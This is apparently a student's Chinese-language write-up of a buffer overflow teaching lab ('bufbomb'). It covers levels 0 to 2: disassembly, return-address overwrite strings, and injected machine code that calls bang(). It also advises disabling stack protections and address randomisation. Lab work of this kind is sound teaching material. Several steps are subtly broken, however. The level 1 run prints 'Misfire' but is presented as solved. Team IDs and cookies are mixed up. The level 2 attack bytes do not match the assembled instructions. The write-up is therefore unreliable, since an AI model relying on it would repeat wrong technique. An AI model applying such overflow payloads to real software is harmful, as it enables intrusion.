Lab3
Level 0 Candle
目标:getbuf函数在test中被调用,当getbuf返回时跳到smoke函数执行
先找到smoke函数的地址:0x8048e20
(gdb) print &smoke
$1 = (<text variable, no debug info> *) 0x8048e20 <smoke>
查看getbuf函数,观察其栈帧结构,可以看到栈帧有0x18个字节,保存寄存器0x4个字节,缓冲区大小为0xc个字节
0x08048fe0 <+0>: push %ebp
0x08048fe1 <+1>: mov %esp,%ebp
0x08048fe3 <+3>: sub $0x18,%esp
0x08048fe6 <+6>: lea -0xc(%ebp),%eax
0x08048fe9 <+9>: mov %eax,(%esp)
0x08048fec <+12>: call 0x8048e60 <Gets>
0x08048ff1 <+17>: mov $0x1,%eax
0x08048ff6 <+22>: leave
0x08048ff7 <+23>: ret
因此,想要将返回地址用smoke函数地址覆盖,需要输入一个12 + 4 + 4 = 20字节的字符串,其中最后4字节替换为smoke函数地址,不妨另其余字节都为00:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
注意小端存储
sh-4.4# ./sendstring < exploit.txt > exploit-raw.txt
sh-4.4# ./bufbomb -t SA18225155 < exploit-raw.txt
Team: SA18225155
Cookie: 0x72309726
Type string:Smoke!: You called smoke()
Level 1 Sparkler
目标:返回到fizz函数,并传送参数cookie
void fizz(int val)
{
entry_check(1); /* Make sure entered this function properly */
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else {
printf("Misfire: You called fizz(0x%x)\n", val);
}
exit(0);
}
查看fizz()
0x08048dc0 <+0>: push %ebp
0x08048dc1 <+1>: mov %esp,%ebp
0x08048dc3 <+3>: push %ebx
0x08048dc4 <+4>: sub $0x14,%esp
0x08048dc7 <+7>: mov 0x8(%ebp),%ebx
0x08048dca <+10>: movl $0x1,(%esp)
0x08048dd1 <+17>: call 0x80489a0 <entry_check>
0x08048dd6 <+22>: cmp 0x804a1cc,%ebx
0x08048ddc <+28>: je 0x8048e00 <fizz+64>
0x08048dde <+30>: mov %ebx,0x4(%esp)
0x08048de2 <+34>: movl $0x8049898,(%esp)
0x08048de9 <+41>: call 0x8048764 <printf@plt>
0x08048dee <+46>: movl $0x0,(%esp)
0x08048df5 <+53>: call 0x80487a4 <exit@plt>
0x08048dfa <+58>: lea 0x0(%esi),%esi
0x08048e00 <+64>: mov %ebx,0x4(%esp)
0x08048e04 <+68>: movl $0x8049a29,(%esp)
0x08048e0b <+75>: call 0x8048764 <printf@plt>
0x08048e10 <+80>: movl $0x1,(%esp)
0x08048e17 <+87>: call 0x8048ae0 <validate>
0x08048e1c <+92>: jmp 0x8048dee <fizz+46>
分析:通过cmp语句,推测参数值所在的位置应为0x8(%ebp),即从返回地址前4个字节开始存储;0x804a1cc处存储的就是cookie
生成cookie:0x35939508
sh-4.4# ./makecookie SA21225133
0x35939508
获得fizz()的地址:0x8048dc0
(gdb) print &fizz
$1 = (<text variable, no debug info> *) 0x8048dc0 <fizz>
要返回到fizz()函数,并传送参数cookie,需要在上一题方法的基础上继续覆盖调用栈帧的参数即可,因此设置输入:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 08 95 93 35
sh-4.4# ./sendstring < exploit.txt > exploit-raw.txt
sh-4.4# ./bufbomb -t SA18225155 < exploit-raw.txt
Team: SA18225155
Cookie: 0x72309726
Type string:Misfire: You called fizz(0x35939508)
Level 2 Firecracker
目标:构造若干条指令,修改全局变量global_val,然后跳转到bang函数
int global_value = 0;
void bang(int val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else {
printf("Misfire: global_value = 0x%x\n", global_value);
}
exit(0);
}
查看bang函数地址:
(gdb) print &bang
$1 = (<text variable, no debug info> *) 0x8048d60 <bang>
反汇编:
objdump -D bufbomb
查看cookie和global_value,获得地址和初始值
0804a1cc <cookie>:
804a1cc: 00 00 add %al,(%eax)
0804a1dc <global_value>:
804a1dc: 00 00 add %al,(%eax)
构造攻击指令:
movl $0x0804a1cc,0x0804a1dc
pushl $0x8048d60
ret
查看攻击指令的字节表示:
sh-4.4# gcc -m32 -c attack.s
sh-4.4# objdump -d attack.o
attack.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: c7 05 dc a1 04 08 cc movl $0x804a1cc,0x804a1dc
7: a1 04 08
a: 68 60 8d 04 08 push $0x8048d60
f: c3 ret
因此构造攻击字符串如下:
c7 05 dc a1 04 08 12 2c 46 22 68 60 8d 04 08 c3 7c b8 ff ff
使用sendstring获得攻击字符,执行程序
sh-4.4# ./sendstring < attack.txt > attack-raw.txt
sh-4.4# ./bufbomb -t SA21225133 < attack-raw.txt
Team: SA21225133
Cookie: 0x35939508
Type string:Ouch!: You caused a segmentation fault!
Better luck next time
这里出现段错误,是因为Linux系统开启了栈保护机制来阻止缓冲区溢出攻击
解决方法:
- 安装execstack工具,解除栈执行限制
- 修改程序堆栈的可执行属性
- 关闭进程地址空间随机化
再次执行,成功:
sh-4.4# ./sendstring < attack.txt > attack-raw.txt
sh-4.4# ./bufbomb -t SA21225133 < attack-raw.txt
Team: SA21225133
Cookie: 0x35939508
Type string:Bang!: You set global_value to 0x35939508
NICE JOB!

755

被折叠的 条评论
为什么被折叠?



